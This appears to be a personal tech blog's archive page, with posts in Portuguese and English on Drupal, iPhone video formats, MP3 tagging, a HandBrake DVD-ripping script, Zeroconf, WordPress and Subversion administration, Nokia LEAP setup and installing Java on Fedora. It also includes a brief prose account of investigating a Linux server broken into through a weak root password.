Dediquei-me nos últimos meses a estudar o Drupal. Fiz isso nas horas vagas (tipo da meia noite às 6 da manhã) e foi uma longa curva de aprendizado.

Para quem não sabe, Drupal é um Sistema de Gerenciamento de Conteúdo (CMS) para a Web. Um fazedor de sites, em outras palavras. Quaisquer sites.

Umas semanas atrás ultrapassei o ponto da arrebentação. Agora é só um mar de calmaria, ou seja, a luta contra o maremoto da falta de conhecimento foi ultrapassado. Minha saga com CMSs começou com o WordPress, quando montei este blog que vos fala. A partir daí aprendi o que é um conteúdo atômico, como gerenciá-lo corretamente, taxonomias, tags, feeds, mashups, blogosfera, e as maravilhas da web semântica.

O WordPress é um CMS otimizado para blogs e por isso ele se dá ao luxo de ser fácil de usar. OK, você pode fazer outros tipos de sites com ele, mas isso exige uma violenta intervenção em seu mecanismo de temas, e ao longo do tempo esse site não-blog se tornará ingerenciável — uma aberração.

Se o WordPress foi feito para fazer blogs, Drupal foi feito para fazer qualquer tipo de site. O custo disso é que os elementos que o constituem são mais abstratos e por consequência mais difíceis de se entender. Além do mais, o Drupal Core por sí só é meio feio, pouco prático e não faz muita coisa.

No processo de aprendizado, é necessário dedicar uma boa lapa de tempo para conhecer seu ecossistema de plugin e extensões. Ultrapassar a arrebentação então constitui em vencer os seguintes passos:

  1. Entender os elementos básicos do Drupal e suas correlações: nó, taxonomia, URLs limpas, módulos, papéis (roles) e permissões, temas, etc
  2. Conhecer um conjunto razoável de módulos que se integram bem e que extendam enormemente a funcionalidade do Core. Alguns exemplos de extensões/módulos poderosíssimos: Views, Content Construction Kit, Busca Facetada, Painéis, CSS Injector

Construi dois sites relativamente complexos, semânticos, com múltiplos tipos de categorias, buscas facetadas, layouts diferenciados, look profissional etc, sem escrever sequer uma linha de código. OK, para não enganar vocês escrevi umas 30 linhas de CSS para embelezar alguns elementos da página. Só. Posso dizer que há algumas dezenas de pessoas encantadas com um deles, rodando na Intranet da minha empresa — IBM— e que ele é tão funcional, simples e interessante que até meu chefe comprou a idéia e está vendendo-o empresa a dentro.

Drupal tem o mérito de juntar duas características importantíssimas que cada uma por sí só já é ultravaliosa:

  1. Seu Core é extremamente bem arquitetado visando economia e extensibilidade total.
  2. Conseguiu montar um ecossistema de extensões que tornam o trabalho (depois da arrebentação) um prazer altamente produtivo.

Há outros CMSs por aí — Plone, Joomla etc —, não os conheço na prática. Mas acho que dificilmente alcançaram a maturidade e a solidez do Drupal. O retorno disso é que Drupal está conquistando algumas referências incríveis como o site da Casa Branca, Sony, MTV, etc.

Anotem esta previsão: Dentro de 2 ou 3 anos, Drupal estará para o mundo dos sites assim como Linux está hoje para o mundo do Sistemas Operacionais — não fará nenhum sentido criar um site sem ele.

How the iPhone 3GS records videos

Here are some technical details an analysis about the formats used by the Apple iPhone 3GS to record video.

This is an annotated screenshot of the excellent Mediainfo by Jerome Martinez.

Mediainfo screenshot analysing an iPhone recorded video
Some notes:

  1. Apple always uses MOV as the extension for standard MP4 files. The recorded video uses an MP4 container so it is capable of holding modern content and tags. Read on.
  2. Very cool: the iPhone ads geotagging to the video file with latitude, longitude and altitude information.
  3. Video is compressed and encoded with one of the most modern codecs available: H.264. The compression profile used is Baseline at level 3, the one optimized for low power CPUs.
  4. 3.5mbps average bitrate. Quite high but expected for a low power device compressing on demand. Lower bitrates with minimal quality loss can only be achieved by multipass compressions with higher level proviles.
  5. The video is a standard VGA 640×480 pixels per frame, with average of 30 frames per second. This is almost DVD quality.
  6. Audio is compressed and encoded with the MPEG-4’s AAC low complexity codec, the same used by popular M4A audio files. But it is mono, only one channel, no stereo audio.

Having said that, videos generated by the iPhone are ready for streaming over the Internet directly to Flash multimedia players. You may need conversion/recompression/transcoding only if you want to reduce the file size and bit rate. Otherwise, current popular Flash players that you already have installed in your browser are capable of playing these video files.

Here is a more detailed analysis generated by mp4dump utility on Linux, from the mpeg4ip Open Source project.

WhiteHouse.Gov migrou para Drupal

Drupal é um dos melhores gerenciadores de conteúdo que existem e é Open Source.

Há quem diga que é porque o governo Obama incentiva Open Source blablabla etc. Mas a verdade é que provavelmente a escolha foi pelo melhor: Drupal. No blog do Tim O’reilly, há também mais detalhes sobre a infraestrutura: Red Hat Linux como SO e MySQL como DB.

Eu uso-o diariamente e posso dizer que é extremamente bem arquitetado e tem uma comunidade vibrante. Posso dizer também que não faz nenhum sentido hoje em dia criar um site do zero sem usar uma ferramenta poderosa e flexivel de gestão de conteúdo como o Drupal.

Bem, a prova que o site da Casa Branca roda sobre Drupal está em seu HTML enviado ao browser.

Assinaturas do Drupal no HTML do site da Casa Branca

As partes em destaque são típicas URIs do Drupal.

Se Linux reina hoje no universo dos sistemas operacionais de servidor, Drupal reinará também no universo dos sites em 2 ou 3 anos.

Organize fast and precisely your MP3 files with ID3v2 tags

This is a set of personal notes and a tutorial for everyone about how to correctly organize and tag MP3 files using the id3 command line tool.

General way to tag MP3 files:

id3 -M -2 [-v] [-t title] [-a artist] [-l album] [-n tracknr] [-y year] [-g genre] [-c comment] file.mp3

Recursively tag with ID3v2 a tree with many directories containing MP3 files, setting artist and genre:

id3 -v -2 -R -a "João Gilberto" -g "Bossa Nova" *mp3

Rewrite the Title tag of each file capitalizing the first letter of each word:

id3 -v -2 -t %+t *mp3

Rename files based on track number and song name (as “02 – Song Name.mp3”) padding a zero to track numbers smaller than 10:

id3 -v -2 -f "%#n - %t.mp3" *mp3

Add a suffix to the current Author tag:

id3 -2 -a "%a e Spokfrevo Orquestra" *mp3

Copy current Author tag to the Composer tag:

id3 -v -2 -wTCOM %a *mp3

Use the “Artist” (TPE1) and “Album Artist” (TPE2) tags in a different way to correctly group songs by album on your MP3 player:

id3 -2 -wTPE2 "Various Artists"  Café_Del_Mar_*/*mp3

or, alternatively with the id3v2 program:

id3v2 --TPE2 "Various Artists" Café_Del_Mar_*/*mp3

Scan track number (%n) and song name (%t) from each file name and set them as ID3 respectivelly along with additional artist name and album name:

id3 -2 -a "The Artist Name" -l "The Album Name" -g "The Genre Name" -m "%n - %t.mp3"

The id3 program is available for multiplatforms, including Linux and Windows. You can find RPM packages for Fedora Linux on my site.

A Test with High Definition Video Conferencing

I just participated in very successful proof of technology with Siemens OpenScape video conferencing products.

We made a point-to-point SIP high definition video conference over a local area network. Another test used H.323 protocol. We also included my SIP-enabled Nokia E61i in the conference over the office WiFi network in a direct multipoint call simply calling my phone’s IP address. Crystal clear sound.

The equipment statistics showed the following:
Video

  • 1280×720 resolution (720p HD) at 30 frames per second
  • H.264 compression
  • aprox. 1780 kilobits per second for the compressed video stream

Audio

  • AAC-LC compression
  • aprox. 70 kilobits per second for the compressed audio stream

Total of aprox. 1850 kbps for excellent and smooth audio and video quality.

Open Source Software inside the iPhone

Can Open Source Software be more ubiquitous than this ?

A few days ago I was playing extensively with Apple’s iPhone, investigating each sub-menu and little details. There is a section listing legal stuff and software being used with each license. GPL, LGPL, BSD and other Open Source licensed software rule the iPhone.

Some I have noted:

How to Make High Quality DVD Rips

Some friends asked so the following is how I encode (rip) DVDs.

Choosing the file format: .AVI, .OGG, .MP4 or .MKV ?

The ripped video file format is a decision you must make. Currently my format of choice is .MKV or Matroska. I’ll explain why.

It is quite idiotic to say that an .MP4 movie has better quality than a .AVI or vice-verse (or any other combination of comparisons). OGG, MP4 (MPEG-4 Part 14), MKV (Matroska), AVI, WMV (or ASF) are just containers, envelopes. Video quality depends on what goes inside it.

“Multimedia” has this name because you have multiple types of media: video in multiple angles, multiple audio options including different languages and channels (stereo, 5.1, 6 channels etc), subtitles in several languages, chapter information, menu etc. Think about a DVD. So this is a graphical view of how things are organized inside a 900MB movie file in a modern format as MKV or MP4:

Header with tags, track names, chapters info, seek positions Main Video track (MPEG-4 AVC/H.264) Attachments as JPG images, documents, scripts or text files
Video segment showing another angle (MPEG-4 ASP/Xvid/DivX)
Audio track: English Dolby Surround 5.1 (AC3)
Audio track: Director’s comments stereo (MP3)
Audio track: Portuguese Dolby Surround 5.1 (DTS)
Subtitle track: Portuguese (Unicode text)
Subtitle track: Chinese (Unicode text)
Subtitle track: English (VobSub)
byte 100K byte 100M byte 200M byte 310M byte 420M byte 530M byte 650M byte 780M byte 895M byte 900M

A digital multimedia file format must be capable to contain all this different medias and multiplex them in parallel so you won’t have the video in the first 500MB of the file and the audio on the following 500MB (this can’t work for streaming). And this is exactly what modern file formats as MP4 and MKV do: they carry all your movie-related data together.

This is a comparison of all these file formats based on my personal experience with them (a more formal comparison can be found in Wikipedia):

.MKV .MP4 .AVI
Industry support Almost none Good and increasing, specially on Apple platforms, the mobile scene and Nero Digital ecosystem Treated as legacy popular format
Usage on the web Very popular on HD or high quality DVD rips Very popular on HD or high quality DVD rips, supported by Flash Player, YouTube, Google Video Popular amongst low-quality DVD rips
Support for advanced video formats and multiple video angles Yes. MPEG-4 ASP (DivX, Xvid), MPEG-4 AVC (a.k.a. H.264) etc Yes. Only MPEG-4 systems and a few others Problematic and No
Support for multiple audio tracks (channels, formats, languages and “director’s comments”) Yes Yes. Formats are only MP3, AAC and a few others not very popular Yes
Support for tags (artist, title, composer, etc as MP3’s ID3) Yes Can be supported by MP4 extensibility but this is not very well standardized across authoring tools (iTunes, GPAC etc) and players (Amarok, Media Player Classic, iPod, Windows Media Player etc) No
Support for attachments with mime-types (used to attach movie posters images or other files) Yes No
Support for chapter marks Yes No
Support for multiple language embedded soft-subtitles Yes. VobSub (as extracted from DVDs), plain timed UTF-8 text (SRT, SUB) etc No
Support for naming tracks with human names as “Director’s comments” or “Portuguese subtitles” etc Yes Yes No
Support for carrying menus information (as in DVDs) and interaction Yes through an XML idiom, but unsupported by most players Yes through SVG, but unsupported by most players No
The container overhead in bytes in the final file Very small Very small Very big
Supported by free and Open Source multiplatform authoring tools Perfect on Linux, Unix, Windows and Mac Yes (see GPAC), with some intellectual property issues. Tools need to mature. Yes
Ready for popular web streaming as in Flash player No Yes. The popular Flash Player that is installed on everybody’s browser supports playing MP4 files as long as they contain H.264 video and AAC audio tracks. I recommend the LongTail FLV/MP4 Player since it also plays subtitles embedded in MP4 files. No

Personally I believe MP4 is the multimedia file format for the future because since it is getting popular, all these non–standardized features will get stabilized. MP4 is an ISO standard and the increasing industry support can be felt on iPods and portable devices, and most notable on home DVD players capable of playing the 700MB MP4 video file burned in a CD.

By the way, remember this:

  • MP4 is not an evolution of MP3. AAC (MPEG-4 Part 3) is.
  • MP5 and MP6 (used to classify portable media players) are things that simply doesn’t exist in the multimedia scene.
  • .M4A, .M4V, .MOV and .3GP files can safely be renamed to .MP4. They just use to be different extensions to help user’s eyes easily identify whats inside.

Meanwhile, MKV wins everything but on the Industry Support category. But this doesn’t really matter, and I’ll explain why. Since MKV is just a container, the large video, audio etc streams can be extracted and repackaged into MP4 and vice-versa in seconds. No transcoding (decoding followed by a lossy encoding into another format) is needed.

So today I store my videos in the most feature rich and well supported by players format: MKV.

OGG or OGM (the container file format) is practically dead in my opinion. They were created as part of the Xiph initiative for a complete open source patent-free multimedia framework, but seems nobody uses it anymore for video. From the same family, Vorbis (the audio codec compared to MP3, a.k.a. .OGG) is very good but also very not popular. Theora (the video codec) is frequently comparable to old MPEG-1 in terms of quality and compression ratio so currently, if you want quality and are not concerned about patents, MPEG-4 AVC is the best choice. FLAC, Xiph’s lossless audio codec, is the winner of the family: very popular, massively used, and recommended.

Encoding the DVD

I use HandBrake, the most practical Open Source (and overall) movie encoder. It runs on Linux, Mac and Windows and uses the same Open Source libraries as ffmpeg, mplayer/mencoder, xine, etc. While these programs are generic video handlers (with thousands of confusing configuration parameters to sustain this generalistic status) HandBrake is optimized only for ripping so it is very easy to use, yet extremely powerful.

#!/bin/bash

##
## This is the script I use to make hifi DVD rips including chapter markers and
## subtitles. It uses Handbrake.
## Contains what I found to be the best quality ripping parameters and
## also let me set simple parameters I need.
##
## Avi Alkalay <avi at unix dot sh>
## http://avi.alkalay.net/2008/03/mpeg4-dvd-rip.html
##
## $Id$
##

#set -vx

HANDBRAKE=${HANDBRAKE:=~/bin/HandBrakeCLI}
#HANDBRAKE=${HANDBRAKE:="/cygdrive/c/Program Files/Handbrake/HandBrakeCLI.exe"}
## Where is the Handrake encoder executable.
## Handbrake is the most practical free, OSS, DVD riper available.
## Download HandBrake for Linux, Mac or Windows at http://HandBrake.fr


INPUT=${INPUT:=/dev/dvd}
## What to process. Can also be a mounted DVD image or simply '/dev/dvd'


TITLE=${TITLE:=L}
## The title number to rip, or empty or "L" to get the longest title


#CHAPTERS=${CHAPTERS:=7}
## Example: 0 or undefined (all chapters), 7 (only chapter 7), 3-6 (chapters 3 to 6)


#VERBOSE=${VERBOSE:="yes"}
## Wether to be verbose while processing.


SIZE=${SIZE:=1200}
## Target file size in MB. The biggest the file size, the best the quality.
## I use to use from 1000MB to 1400MB for astonishing high quality H.264 rips.


OUTPUT=${OUTPUT:="/tmp/output.mkv"}
## Output file. This will also define the file format.
## MKV (Matroska) is currently the best but MP4 is also good.


AUDIO=${AUDIO:="-E ac3 -6 dpl2 -D 1"} # For AC3 passthru (copy).
#AUDIO=${AUDIO:="-E lame -B 160"} # For MP3 reencoding. Good when input is DTS.
## Audio parameters. If input is AC3, use it without transcoding.
## If is DTS, reencode to MP3.


MATRIX=${MATRIX:=`dirname $0`/eqm_avc_hr.cfg}
## x264 matrix to use. The matrix file may increase encoding speed and quality.
## This one is Sharktooth's as found
## at http://forum.doom9.org/showthread.php?t=96298

######### Do not change anything below this line ##############


## Make some calculations regarding title and chapters based on parameters.
SEGMENT=""
if [[ "$TITLE" == "L" || -z "$TITLE" ]]; then
	SEGMENT="-L"
else
	SEGMENT="-t $TITLE"
fi

[[ -n "$CHAPTERS" && "$CHAPTERS" -ne 0 ]] && SEGMENT+=" -c $CHAPTERS"

[[ "$VERBOSE" != "no" ]] && VERB="-v"



# Define args for the x264 encoder. These are some values I found on the net
# which give excelent results.
X264ARGS="ref=3:mixed-refs:bframes=6:b-pyramid=1:bime=1:b-rdo=1:weightb=1"
X264ARGS+=":analyse=all:8x8dct=1:subme=6:me=umh:merange=24:filter=-2,-2"
X264ARGS+=":ref=6:mixed-refs=1:trellis=1:no-fast-pskip=1"
X264ARGS+=":no-dct-decimate=1:direct=auto"
[[ -n "$MATRIX" ]] && X264ARGS+=":cqm=$MATRIX"


# Encode...
"$HANDBRAKE" $VERB -i "$INPUT" -o "$OUTPUT" \
	-S $SIZE \
	-m $SEGMENT \
	$AUDIO \
	-e x264 -2 -T -p \
	-x $X264ARGS


# Repackage to optimize file size, to include seek and to include this
# this script as a way to document the rip...
echo $OUTPUT | grep -qi ".mkv"
if [[ $? && -x `which mkvmerge` && -f $OUTPUT ]]; then
	mv $OUTPUT $OUTPUT.mkv
	mkvmerge -o $OUTPUT $OUTPUT.mkv \
		--attachment-name "The ripping script" \
		--attachment-description "How this movie was created from original DVD" \
		--attachment-mime-type application/x-sh \
		--attach-file $0

	[[ -f $OUTPUT ]] && rm $OUTPUT.mkv
fi

The script seems long because it is fully documented but it actually only collects some parameters and simply runs the HandBrake encoder like this (passed parameters are in red):

~/bin/HandBrakeCLI -v -i /dev/dvd -o /tmp/output.mkv \
    -S 1200 \
    -m -L \
    -E lame -B 160 \
    -e x264 -2 -T -p \
    -x ref=3:mixed-refs:bframes=6:b-pyramid=1:bime=1:b-rdo=1:weightb=1:analyse=all:8x8dct=1:subme=6:me=umh:merange=24:filter=-2,-2:ref=6:mixed-refs=1:trellis=1:no-fast-pskip=1:no-dct-decimate=1:direct=auto:cqm=~/src/randomscripts/videotools/eqm_avc_hr.cfg

All the rest is what I found to be the best encoding parameters.

The resulting video file (/tmp/output.mkv in this case) will contain correctly cropped video and audio quality as good as the DVD (it is almost lossless), and chapter breaks at the same positions read from the DVD.

In a Core Duo machine as my laptop running Fedora 8 or Windows XP, a 2 pass H.264 encoding (2 pass improves quality and H.264 is newer standard MPEG-4 technology better than DivX/Xvid) takes about 4 to 5 hours for a regular 2 hours movie, so leave it encoding while you go to sleep. A Pentium 4 machine running Ubuntu takes about 17 hours for the same rip.

I use to rip one chapter from the movie first (use your preferred video player or lsdvd command to find the shortest chapter), check quality, compare to DVD, fine tune, try again and then shoot full DVD ripping.

After encoding I use to repackage the audio/video stream with Matroska‘s mkvmerge (or mmg, its GUI version available on any Linux distribution as “mkvtoolnix” package, and installable for Windows or Mac OS from Matroska’s website) to optimize seeks and to include soft subtitles (that can be turned on and off as on regular DVDs), but I’ll explain that in another HOWTO.

Give Your Ripped Movie a Descriptive File Name

I use to organize my media library in a standard way I invented for myself and which I suggest you to use too.

My movie file names shows everything that the file includes. Some examples:

  • Indiana_Jones_and_The_Raiders_of_the_Lost_Ark_IMDB{tt0082971}-Xvid{720x304_23.98fps}+MP3{ENG,POB_VBR}+Sub{ENG,SPA,POB}+Covers.mkv
    This is the Indiana Jone’s Raiders of the Lost Ark movie, whose IMDB index is tt0082971 (IMDB{tt0082971}). It was ripped with the old Xvid codec and contains 720×304 pixels frame size at a rate of 23.98 frames per second (Xvid{720x304_23.98fps}). It also contains selectable audio tracks in English and Brazilian Portuguese encoded in variable bit rate MP3 (MP3{ENG,POB_VBR}). In addition, there is also selectable subtitles in English, Spanish and Brazilian Portuguese (Sub{ENG,SPA,POB}). The file also contains the cover images as attachments.
  • Harold_and_Maude_IMDB{tt0067185}-H264{672x368_3Pass_25fps}+HEAAC{EN}+Sub{POR,EN,FRE}+Chapters+Covers.mkv
    The old Harold and Maude movie whose IMDB index is tt0067185 (IMDB{tt0067185}). It is encoded with H.264 in 3 passes and has 672×368 pixels frame size at a rate of 25 frames per second (H264{672x368_3Pass_25fps}). There is only one English audio track encoded in modern HE-AAC (HEAAC{EN}). Subtitles in Portuguese, English and French (Sub{POR,EN,FRE}), chapter information and attached cover images. This is very complete high quality DVD backup.
  • I_Am_Legend_IMDB{tt0480249}-H264{704x304_23.98fps}+AC3{ENG_5.1}+Sub{POR}.mkv
    The I Am Legend movie whose IMDB index is tt0480249 (IMDB{tt0480249}), video encoded in H.264 with 704×304 pixels frame size (H264{704x304_23.98fps}), original 5.1 channels AC3 audio in English (AC3{ENG_5.1}) and subtitles in Portuguese (Sub{POR}).

The advantages of this scheme are:

  • It is web safe with no spaces in filenames. All underlines. It is also DOS safe.
  • To have the IMDB index let me know exactly which movie this file contains. This is particularly good to avoid ambiguity for movies that have remakes as Ben Hur, or movies that have an official name but are well known by other names or have international titles.
  • To know the encoding method, subtitles included and chapters info give me the overall quality of the movie right away.
  • Special attention to audio and subtitle languages. Having them on the filename let me know I will understand its content without having to play. Sometimes I can’t play the file because I logged in my home computer remotely.

Playing the Ripped File

To play this advanced Matroska media file that contains such a rich set of metainformation and highly compressed digital content you will need an advanced player too. And happens that the best players are the Open Source ones. So use these players:

These are Media Player Classic screenshots demonstrating how to activate the advanced content inside a Matroska file. Players on other platforms have similar capabilities and menus.

Activating embedded subtitles and languages
The player lets you choose the audio language and subtitles. On MPC for example, this is how you turn on and off and choose the language for subtitles.
Choosing subtitles language

As you can see, the player found subtitles embedded in the MKV file in English, Hebrew and Portuguese.

If the MKV file contains many audio tracks (as different languages, director’s comments etc) this is how to select it:

Selecting audio track to play in Media Player Classic

And to jump directly to a specific chapter on the movie, if the MKV file contains this kind of information:

Using Media Player Classic to browse chapter in a movie file

Improving audio volume
If you ripped the movie without reencoding the audio, the final file will contain DVD’s original AC3 audio tracks in 6 channels (5+1). This may sound with a lower volume when played in a 2-speaker system as your laptop, iPod, etc because 4 channels are simply not being played. To remediate this the player will have to downsample the audio. In other words, it will remix the 6 channels into 2 stereo channels while playing. The Media Player Classic options should look like this:

Selecting Media Player Classic\'s Audio Options

Configuring audio downsample on Media Player Classic

Zeroconf your Network

I remember the days when I was configuring DNS and DHCP for a small home network with only 2 or 3 computers.

This is not needed anymore since the invention of Zeroconf. As Wikipedia says, “is a set of techniques that automatically create a usable IP network without configuration or special servers. This allows inexpert users to connect computers, networked printers, and other items together and expect them to work automatically.”

Zeroconf got my attention when I installed Ubuntu Linux in one of my home PCs and it automatically started to show hostnames instead of IPs of my other home computers on the same DNS-less network. On my other Fedora Linux hosts, I had to manually install the avahi-tools and nss-mdns packages and I got the same functionality — as described in the Fedora Post-Installations Configurations.

Still without a local DNS server, each host can be pinged, SSHed, browsed, SMBed, etc using the hostname.local model, not the their IP anymore. So the machine with hostname floripa broadcasts itself as floripa.local. The same happens for all machines.

But I still missed this functionality when using my laptop booted on Windows. This OS was unable to understand the Zeroronf broadcasts until I installed the Apple implementation for Windows called Bonjour that can be downloaded from here.

To have a better, visual understanding of what Zeroconf can do for you, the Avahi website (Zeroconf implementation on Linux) provides a series of screenshots of regular applications discovering services in the LAN. Most notable is Konqueror — KDE’s file manager — using the zeroconf:/ URL to browse LAN services.

Now I finally know that my home doesn’t need things like Bind/DNS anymore.

New Laptop

I am sort of away this days because I got a new laptop. Check it out.

Lenovo T61

My previous laptop was a IBM Thinkpad T40, Pentium M, 512MB RAM, 1024×768 screen size, CD-RW, Cisco WiFi/b, no bluetooth. Served me well for 4 years.

The new one is a Lenovo Thinkpad T61, Intel Centrino Pro (dual core), 2GB RAM, 1440×900 screen size, DVD-RW, Intel WiFi/g (see this comment to make it work), bluetooth, integrated SD/Memory Stick/xD/etc card reader, Firewire interface. Much better. Details on Smolt.

I am writing this while Fedora 8 (including some Livna packages) is being installed over the network, as you can see.

Renumbering Categories in WordPress Blogs

There are some situations you may want to manually change (or hack) the category numbers of your WordPress.org blog. Here is how.

Supose you have posts category named “Wine” with ID 15 and you want it to become 1015. You probably already have some posts categorized as “Wine” too and you want to make the number change reflect in their metainformation.

You’ll have to execute some SQL commands in 2 tables: wp_categories and wp_post2cat. Have access to WordPress.org blog MySQL database with PHPMyAdmin or even the plain mysql command and execute this steps.

  1. Don’t trust your eyes or memory because if you forget something or mistype a number, you will make a mess in your blog database. Write in a paper a note for yourself with the category name, previous ID and new desired ID:
    Wine: 15 ➔ 1015
  2. Change the category number from 15 to 1015 in the master categories table:
    UPDATE wp_categories SET cat_ID=1015 WHERE cat_ID=15 LIMIT 1;
  3. Renumber all posts categorized as 15 (old Wine category number) to 1015 (new category number) in the posts metadata table:
    UPDATE wp_post2cat SET category_id=1015 WHERE category_id=15;
  4. WordPress.org also uses the same wp_categories table to classify the links on your blogroll (or sidebar), so you’ll have to change the records associated with the Wine category too, if some:
    UPDATE wp_link2cat SET category_id=1015 WHERE category_id=15;

There is no visual change for the readers of your blog, everything will look the same. This is only for you, if you want to organize categories in ranges while WordPress.org naturally creates them in a sequence.

Basic Subversion Repository Management

(This is a shared personal note, suggestions are welcome.)

Create a Subversion repository for a project, say The SVG Blog Icons:

  1. Create the repository on the hosting panel with a project name (e.g. Blog Icons) and project ID (e.g. blogicons).
  2. Import the files:
    bash$ cd src/
    bash$ ls
    blogicons
    bash$ export EDITOR=vi
    bash$ svn -m "First import" import blogicons http://svn.alkalay.net/blogicons/trunk
  3. Start over with a fresh copy:
    bash$ mv blogicons blogicons.old
    bash$ svn co http://svn.alkalay.net/blogicons/trunk blogicons
  4. Create a repository for pointers to official releases and register the official release the files imported represent:
    bash$ svn -m "Links of official releases" mkdir http://svn.alkalay.net/blogicons/tags
    bash$ svn -m "Official 20070518 version" cp http://svn.alkalay.net/blogicons/trunk http://svn.alkalay.net/blogicons/tags/20070518
  5. Check how it looks pointing the browser to http://svn.alkalay.net/blogicons/

Manage project files:

  • Add files
    bash$ cd blogicons
    bash$ svn add newfile.svg
    bash$ svn add newfiles.*
  • Remove files
    bash$ cd blogicons
    bash$ svn rm oldfile.svg
    bash$ svn rm oldfiles.*
  • To embed the file’s meta information in itself as a comment
    bash$ cd blogicons
    bash$ echo "<!-- $Id$ -->" >> file.xml
    bash$ echo "/* $Id$ */" >> file.c
    bash$ echo "// $Id$" >> file.cpp
    bash$ echo "# $Id$" >> file.sh
    bash$ echo "# $Id$" >> Makefile
    bash$ svn propset svn:keywords Id file.xml file.c file.cpp file.sh Makefile

    Every time changes and commits happen, the $Id$ tag will be replaced as this examples:

    <!-- $Id: file.xml 148 2007-07-28 21:30:43Z username $ -->
    /* $Id: file.c 148 2007-07-28 21:30:43Z username $ */
    // $Id: file.cpp 148 2007-07-28 21:30:43Z username $
    # $Id: file.sh 148 2007-07-28 21:30:43Z username $
    # $Id: Makefile 148 2007-07-28 21:30:43Z username $

    People use to put the $Id$ tag in the beginning of source files. The example show how to put in the end, but that’s because it is easy to represent it here in the documentation. You should put $Id$ tags in the beginning of the file.

  • Commit changes to repository
    bash$ cd blogicons
    bash$ svn -m "Changed color to red on icon A, moved the circle shape to left on icon C" commit

    Use descriptive comments favoring WHAT changed on files and not which files changed.

Nokia E Series with Wireless LEAP Authentication

So looks like some people are having problems to configure LEAP in their Nokia E-series phones as E61i or others. This is a guide:

  1. Go to Settings->Connection->Access Points
  2. Create a new access point with any name you want
  3. Use the following configuration:
    1. Data bearer: Wireless LAN
    2. WLAN network name: the SSID of your WLAN which is found by a WLAN scan or provided by your sysadmin
    3. Network status: it is probably Public, but my company’s WLAN name is not broadcasted, so I need to select Hidden
    4. WLAN network mode: Infrastructure
    5. WLAN security mode: although some people report WPA/WPA2 work for them, 802.1x is the only option that works for me
    6. Enter the WLAN security settings subpanel
      1. WPA/WPA2: EAP
      2. EAP plug-in settings: leave only EAP-LEAP enabled/checked using the Options menu
      3. Put the cursor over EAP-LEAP and select Options->Configure
        1. User name: Put the user name they gave you, in my case is my e-mail address
        2. Prompt password: I use No
        3. Password: your password (for LEAP use a very complex password for security reasons)
    7. Homepage: http://avi.alkalay.net/2007/08/leap-nokia-e-series.html so you will have bookmarked the source of this information 😀

With this configuration I am able to connect to my company’s WLAN, which uses Cisco routers and access points. By the way, EAP-LEAP is a proprietary WLAN authentication protocol created by Cisco, and looks like it is considered obsolete.

I also noticed that if the GSM SIM chip is not inserted (offline mode), the phone behavior of getting connected is more difficult. It does not recognize a Hidden WLAN and I had to force the connection. With a GSM SIM chip inserted everything works nicely and as expected.

Looks like only Nokia E-series phones (E61, E61i, E70 etc) running the S60 platform can connect to LEAP WLANs. Same generation Nokia N-series phones (N73, N80, N95) can’t, because they were not designed for business environments — the kind of environments that uses Cisco’s EAP-LEAP.

How to Get Attacked

I noticed Oded’s blog was attacked which makes me remember some things:

I was once invited to analyze a Linux machine that was invaded. I ended up writing an article about it to the brazilian Linux Magazine.

The problem with the machine was a VERY weak root passw0rd. We could also find the tools they used to break that machine, cause they have installed them there to attack other machines.

We could see a file containing about 18000 user+password combinations, a modified SSH client and a script that runs it all based on an IP range. We saw also IRC bots and other stuff.

In the case of that machine, the attack was silent. They just wanted to use the machine to attack other machines. Pretty stupid.

Its easy to learn about this attacks. Just connect to the Internet a machine with a plain Linux installation and “passw0rd” as the root’s password, wait 1 or 2 weeks and your machine will be attacked. One way to verify the crackers are already in is to reinstall the netstat command (because they’ll modify your previous one) and see if there is some connection to IRC ports (around 6667).

If you investigate this IRC bot you’ll able to connect the IRC server, find the chat room, and actually talk to the cracker. I did this once and was not very funny.

More information in Attacks to GRC.com by Steve Gibson.

Install Java on Fedora, Red Hat, SUSE with RPM

Just to make more generic and to simplify Liquidat’s good howto about this topic, here is a better way to install Sun, IBM or BEA Java/JVM/JDK on any modern Linux RPM-based distribution as Fedora 7, Red Hat 5, SUSE, Mandriva, etc:

  1. On the JPackage non-free repository, look for the package named java-VERSION-PROVIDER-*nosrc.rpm and download it. For this example, I used IBM JVM. Procedure is the same for Sun’s or BEA’s.
  2. Check the package information with the RPM command as shown bellow:
    bash# rpm -qpi java*nosrc.rpm
    Name        : java-1.5.0-ibm               Relocations: (not relocatable)
    Version     : 1.5.0.2.3                         Vendor: JPackage Project
    Release     : 3jpp                          Build Date: Tue 15 Aug 2006
    Install Date: (not installed)               Build Host: tortoise.toronto.redhat.com
    Group       : Development/Interpreters      Source RPM: (none)
    Size        : 395165271                        License: IBM Binary Code License
    Signature   : (none)
    Packager    : Thomas Fitzsimmons
    URL         : http://ibm.com/developerworks/java/jdk/linux/download.html
    Summary     : IBM Java Runtime Environment
    Description :
    This package contains the IBM Java Runtime Environment.
  3. We visited the URL above to find IBM’s JVM binary for Linux. Chose the 1.5 SDK in tgz format and copied all this way:
    bash# cd /directory/where/binary-SDK/was/downloaded
    bash# cp ibm-java2-sdk-50-linux-i386.tgz /usr/src/redhat/SOURCES
    bash# cp ibm-java2-javacomm-50-linux-i386.tgz /usr/src/redhat/SOURCES

    In SUSE, copy to /usr/src/rpm/SOURCES.

  4. And built the final installable packages this way:
    bash# cd /directory/where/nosrc.rpm/was/downloaded
    bash# rpmbuild –-rebuild java*nosrc.rpm
  5. When finished, all final packages are under /usr/src/redhat/RPMS/. Install them all this way:
    bash# cd /usr/src/redhat/RPMS/i*86
    bash# rpm -Uvh java*rpm

    and the JVM is installed.

(All but step 5 may be done as a regular user instead of root, but explanations would be longer and more complex)

Later, you may also want to install the javaws package to have Java Web Start integrated on your browser.

By the way, JPackage Project has standarized how Java software should be packaged on Linux. And they are doing it with RPM (but the concepts may be ported to other packaging systems). It is such a great and well done standard that all RPM-based distributions such as Fedora, Red Hat Enterprise Linux, SUSE, Mandriva, etc are using it for their own Java works. It all starts with a package named jpackage-utils, probably already installed on your fresh system.

You may find many Java software as JBoss, Apache Geronimo, Ant, Eclipse, etc packaged in JPackage web site.

Fedora Post-installation Configurations

Inspired by an old post by Rui Moura, I’ll maintain here the plain commands needed to setup a freshly installed Fedora or Red Hat system, to include essential softwares they don’t ship by default due to legal issues.

These instructions are currently optimized for Fedora 14, 15 and 16, but most of it should work on any other Fedora and modern Red Hat Enterprise Linux too. Good suggestions provided as comments bellow will be added to this guide.

Index

  1. Permissions Setup
  2. Keeping System Updated
  3. Repositories Setup
  4. Activate Hardware Acceleration on NVidia and Intel GPUs
